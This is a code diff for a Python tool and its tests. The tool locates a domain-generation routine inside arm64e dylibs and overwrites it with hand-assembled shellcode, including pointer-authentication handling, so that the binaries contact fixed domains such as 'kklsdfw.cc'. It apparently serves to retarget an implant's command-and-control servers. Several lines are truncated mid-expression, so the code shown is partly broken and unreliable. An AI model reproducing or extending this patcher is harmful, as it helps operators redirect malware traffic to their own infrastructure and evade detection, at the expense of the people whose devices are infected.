diff --git a/frontend/tools/_domain_patch.py b/frontend/tools/_domain_patch.py index 07159a2..34fed71 100644 --- a/frontend/tools/_domain_patch.py +++ b/frontend/tools/_domain_patch.py @@ -10,11 +10,33 @@ from _common import OLD_DEP, OLD_REP, pack_seed _SUB_SP_E0 = 0xD10383FF _MURMUR = bytes.fromhex("21368f52e1c6b372") _NOP = 0xD503201F +_PACIBSP = 0xD503237F +_PACIBSP_ALT = 0xD503233F +_AUTIBSP = 0xD50323FF +# Standard arm64e return auth sequence used by the original helper epilogue: +# autibsp ; eor x16, x30, x30, lsl #1 ; tbz x16, #62, .+8 ; brk #0xc471 ; b +_EOR_X16_X30_LSL1 = 0xCA1E07D0 +_TBZ_X16_BIT62_PLUS8 = 0xB6F00050 +_BRK_C471 = 0xD4388E20 MAX_DOMAINS_PER_POOL = 8 MAX_DOMAIN_LEN = 63 +def _b_target(pc: int, ins: int) -> int | None: + """Return target of an unconditional B, or None if ``ins`` is not B.""" + if (ins & 0xFC000000) != 0x14000000: + return None + imm = ins & 0x3FFFFFF + if imm & 0x2000000: + imm -= 0x4000000 + return pc + imm * 4 + + +def _is_pacibsp(ins: int) -> bool: + return ins in (_PACIBSP, _PACIBSP_ALT) + + @dataclass class SlicePatch: file_offset: int @@ -324,6 +346,17 @@ def _collect_branch_targets( def _discover_dga(blob: bytes) -> tuple[int, int, int]: + """Locate the PLServerPool DGA helper. + + Returns ``(entry, body, end)`` where: + - ``body`` is the ``sub sp, sp, #0xe0`` prologue + - ``entry`` is the address callers actually enter (``pacibsp`` when present) + - ``end`` is the first byte *after* the replaceable region + + Important: a ``b`` immediately before ``pacibsp`` is often the *previous* + function's tail branch (target ≠ body). Only treat ``b + pacibsp`` as an + 8-byte trampoline when that ``b`` actually targets ``body``. + """ idx = blob.find(_MURMUR) if idx < 0: raise SystemExit("DGA murmur constant not found") @@ -335,12 +368,17 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]: break if body is None: raise SystemExit("DGA prologue not found") + entry = body - if body >= 8: - ins_b = struct.unpack_from("= 4 and _is_pacibsp(struct.unpack_from("= 8: + ins_b = struct.unpack_from(" len(blob): @@ -348,6 +386,14 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]: if struct.unpack_from(" after the stack restore. + # Include that tail in the patch window so our shellcode owns the return. + if entry < body and end + 16 <= len(blob): + if struct.unpack_from("= 4 and _is_pacibsp( + struct.unpack_from(" int: return entry + len(code) * 4 @@ -442,6 +493,15 @@ def _apply_shellcode( emit(_enc_adrp(rd, p, abs_addr)) emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF)) + # Match the original PAC entry when present. Starting the shellcode at the + # previous function's trailing `b` (old bug) skipped pacibsp and entered + # mid-frame-setup → crash before any /sync probe on arm64e type0x01/core. + if has_pac: + if entry == body - 8: + # True trampoline site: keep a branch into the pacibsp/body path. + emit(_enc_b(pc(), body - 4)) + emit(_PACIBSP) + # Save every callee-saved reg we touch (x19-x22, x25). Omitting these # corrupts _generateDomainsLocked and aborts before any /sync probe. emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]! @@ -449,7 +509,7 @@ def _apply_shellcode( emit(0xA90257F6) # stp x22, x21, [sp, #0x20] emit(0xA90367FA) # stp x26, x25, [sp, #0x30] emit(0x910103FD) # add x29, sp, #0x40 - emit(0xAA0003F3) # mov x19, x0 ; seed + emit(0xAA0003F3) # mov x19, x0 ; seed NSString* (x1 is domain count) bl(stubs["retain"]) emit(0xAA1303E0) @@ -511,6 +571,12 @@ def _apply_shellcode( emit(0xA94257F6) # ldp x22, x21, [sp, #0x20] emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10] emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40 + if has_pac: + # Mirror the original arm64e return auth before the objc stub tail-call. + emit(_AUTIBSP) + emit(_EOR_X16_X30_LSL1) + emit(_TBZ_X16_BIT62_PLUS8) + emit(_BRK_C471) emit(_enc_b(pc(), stubs["autoreleaseReturn"])) table_off = entry + len(code) * 4 @@ -602,6 +668,7 @@ def patch_fixed_domains_in_dylib( patched = _apply_shellcode( blob, entry=entry, + body=body, end=end, stubs=stubs, class_array=class_array, diff --git a/frontend/tools/tests/test_domain_patch.py b/frontend/tools/tests/test_domain_patch.py new file mode 100644 index 0000000..b3ecf8d --- /dev/null +++ b/frontend/tools/tests/test_domain_patch.py @@ -0,0 +1,82 @@ +"""Tests for fixed-domain DGA discovery / shellcode placement.""" + +from __future__ import annotations + +import struct +import sys +import unittest +from pathlib import Path + +TOOLS = Path(__file__).resolve().parents[1] +if str(TOOLS) not in sys.path: + sys.path.insert(0, str(TOOLS)) + +from _common import CORE_DYLIB, GROUP_DYLIBS # noqa: E402 +from _domain_patch import ( # noqa: E402 + _AUTIBSP, + _PACIBSP, + _discover_dga, + iter_slices, + patch_fixed_domains_in_dylib, +) + + +class DiscoverDgaTests(unittest.TestCase): + def test_group_b_entry_is_pacibsp_not_prev_tail_branch(self) -> None: + blob = GROUP_DYLIBS["B"].read_bytes() + entry, body, end = _discover_dga(blob) + self.assertEqual(body, 0x24E5C) + # Real entry is pacibsp; the word at body-8 is the *previous* function's `b`. + self.assertEqual(entry, body - 4) + self.assertEqual(struct.unpack_from(" None: + blob = GROUP_DYLIBS["A"].read_bytes() + entry, body, end = _discover_dga(blob) + self.assertEqual(entry, body) + self.assertLess(entry, end) + + def test_core_arm64e_slice_entry_is_pacibsp(self) -> None: + data = CORE_DYLIB.read_bytes() + pac_hits = 0 + for sl in iter_slices(data): + blob = data[sl.file_offset : sl.file_offset + sl.size] + entry, body, _end = _discover_dga(blob) + if body >= 4 and struct.unpack_from(" None: + src = GROUP_DYLIBS["B"].read_bytes() + # Use seeds already present in the pristine type0x01. + from _common import ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED + + out = patch_fixed_domains_in_dylib( + src, + ["kklsdfw.cc"], + ["ttrrood.cc"], + deployment_seed=ORIGINAL_DEPLOYMENT_SEED, + reporting_seed=ORIGINAL_REPORTING_SEED, + label="test-B", + ) + entry, body, end = _discover_dga(src) + self.assertEqual(struct.unpack_from("